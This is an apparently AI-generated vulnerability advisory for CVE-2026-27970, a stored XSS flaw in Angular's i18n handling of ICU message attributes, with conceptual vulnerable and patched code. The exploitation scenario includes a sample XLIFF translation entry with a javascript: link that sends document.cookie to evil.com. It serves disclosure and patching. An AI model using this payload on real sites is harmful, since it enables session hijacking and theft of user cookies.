CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27970
7.60.07%

Angular i18n Pipeline: Stored XSS via Malicious ICU Message Attributes

Alon Barad
Alon Barad
Software Engineer

Feb 27, 2026·5 min read·4 visits

No Known Exploit

Executive Summary (TL;DR)

The Angular i18n parser failed to sanitize static attributes within ICU messages, assuming they were safe if they lacked dynamic bindings. Attackers can inject XSS payloads (e.g., `javascript:` URIs) via compromised translation files (XLIFF/XTB). Fixed in versions 19.2.19, 20.3.17, and 21.2.0.

A Cross-Site Scripting (XSS) vulnerability exists in the Angular internationalization (i18n) pipeline, specifically within the parsing logic for International Components for Unicode (ICU) messages. The vulnerability stems from an insecure heuristic in the `walkIcuTree` function, which incorrectly treats static attributes in translation files as safe, bypassing Angular's standard sanitization mechanisms. This allows attackers who can influence translation files (e.g., compromised third-party translators or supply chain injection) to inject malicious HTML attributes, resulting in arbitrary JavaScript execution upon rendering.

Architectural Context: Angular i18n

Angular's internationalization (i18n) system relies on a build-time or runtime process where source messages are extracted from templates, translated into target languages (stored in formats like XLIFF or XTB), and then merged back into the application. A critical component of this system is the handling of ICU (International Components for Unicode) expressions, which allow for complex pluralization and selection logic within text strings.

When Angular processes these translated messages, it parses the ICU structure to generate the corresponding DOM elements. Unlike standard template HTML, which passes through Angular's rigorous compiler sanitization, ICU messages are processed by a specialized parser located in packages/core/src/render3/i18n/i18n_parse.ts. This parser is responsible for interpreting the structure of the message and creating the necessary text nodes and elements dynamically.

Root Cause Analysis

The vulnerability resides in the walkIcuTree function, specifically in how it differentiates between 'dynamic' and 'static' content. The Angular security model typically treats all input as untrusted unless explicitly marked otherwise. However, the i18n parser implemented a flawed heuristic: it assumed that if an attribute within an ICU message did not contain a dynamic binding (e.g., {{ value }}), it was inherently safe.

This assumption creates a logic gap. While static attributes do not introduce template injection risks (accessing internal component state), they can still introduce HTML injection risks if they contain malicious attribute values. The parser would identify these static attributes and pass them directly to the addCreateAttribute instruction without validating the attribute name or sanitizing the value. Consequently, an attribute like href="javascript:alert(1)" was treated as a harmless static string and rendered into the DOM, bypassing the framework's trusted types and sanitization layers.

Code Analysis: The Fix

The remediation introduces a strict allowlist approach, replacing the previous 'allow by default' behavior for static attributes. The patch modifies the parsing logic to validate every attribute against a VALID_ATTRS set and explicitly blocks dangerous URI-based attributes.

Below is a reconstruction of the logic changes based on the patch details:

Vulnerable Logic (Conceptual):

function walkIcuTree(node) {
  // ... traversal logic
  if (node.attributes) {
    for (const attr of node.attributes) {
       // FLAW: Assumes static attributes are safe
       if (!isDynamic(attr.value)) {
         instructions.push(addCreateAttribute(attr.name, attr.value));
       }
    }
  }
}

Patched Logic (Conceptual):

const BANNED_URI_ATTRS = new Set(['href', 'src', 'xlink:href']);
 
function walkIcuTree(node) {
  // ... traversal logic
  if (node.attributes) {
    for (const attr of node.attributes) {
       // FIX 1: Check if attribute is dangerous URI sink
       if (BANNED_URI_ATTRS.has(attr.name)) {
          // Forcefully block the value
          instructions.push(addCreateAttribute(attr.name, 'unsafe:blocked'));
          continue;
       }
 
       // FIX 2: Only allow known safe attributes or strip unknowns
       if (isValidAttribute(attr.name)) {
          instructions.push(addCreateAttribute(attr.name, attr.value));
       } else {
          console.warn(`Blocked unknown attribute ${attr.name} in ICU message`);
       }
    }
  }
}

The fix ensures that even if a translator injects a javascript: payload into a href attribute, the renderer will output href="unsafe:blocked", neutralizing the XSS vector.

Exploitation Scenario

Exploitation of CVE-2026-27970 typically involves a supply chain attack against the translation workflow. Many organizations outsource translations or use automated localization platforms. If an attacker compromises a translator's account or the repository hosting .xlf files, they can inject malicious payloads.

Attack Steps:

  1. Injection: The attacker modifies a French translation file (messages.fr.xlf) to include a malicious anchor tag inside an ICU plural expression.
    <trans-unit id="welcomeMessage">
      <source>Hello {count, plural, =0 {no one} other {everyone}}</source>
      <target>Bonjour {count, plural, =0 {personne} other {<a href="javascript:fetch('https://evil.com/'+document.cookie)">tout le monde</a>}}</target>
    </trans-unit>
  2. Deployment: The application is built. The Angular compiler (or runtime) processes the corrupted XLIFF file.
  3. Execution: A user selects 'French' as their language. The application renders the ICU message. Because the href attribute is static (no {{}}), the vulnerable parser permits it.
  4. Trigger: The user clicks the link, executing the JavaScript payload in the context of the application origin.

Impact Assessment

This vulnerability represents a breakdown in Angular's "secure by default" promise. While Angular is famous for its strict contextual auto-escaping, this flaw allowed a bypass via the i18n subsystem.

Security Consequence:

  • Cross-Site Scripting (XSS): Successful exploitation allows arbitrary JavaScript execution. This leads to session hijacking (stealing JWTs or cookies), forced actions (CSRF bypass), and potential redirection to phishing sites.
  • Supply Chain Risk: This vulnerability elevates the trust requirement for translation vendors. Previously, translation files were considered data; this vulnerability effectively upgrades them to code execution vectors.

CVSS Context: While the CVSS score is High (7.6), the complexity is non-trivial because the attacker cannot usually input XLIFF data directly via a web form. They require write access to the source code repository or the translation management system (TMS). However, in environments where users contribute community translations, this becomes a critical remote exploitation vector.

Fix Analysis (2)

Technical Appendix

CVSS Score
7.6/ 10
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Probability
0.07%
Top 78% most exploited

Affected Systems

Angular Framework (Core)Angular Applications using i18n

Affected Versions Detail

Product
Affected Versions
Fixed Version
Angular
Google
< 19.2.1919.2.19
Angular
Google
>= 20.0.0-next.0 < 20.3.1720.3.17
Angular
Google
>= 21.0.0-next.0 < 21.1.621.1.6
Angular
Google
>= 21.2.0-next.0 < 21.2.021.2.0
AttributeDetail
CWE IDCWE-79
CVSS v4.07.6 (High)
Attack VectorNetwork (Supply Chain)
EPSS Score0.00073 (Low)
ImpactCross-Site Scripting (XSS)
VendorGoogle (Angular Team)

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1195Supply Chain Compromise
Initial Access
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

References & Sources

  • [1]GitHub Security Advisory
  • [2]Fix Pull Request #67183

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.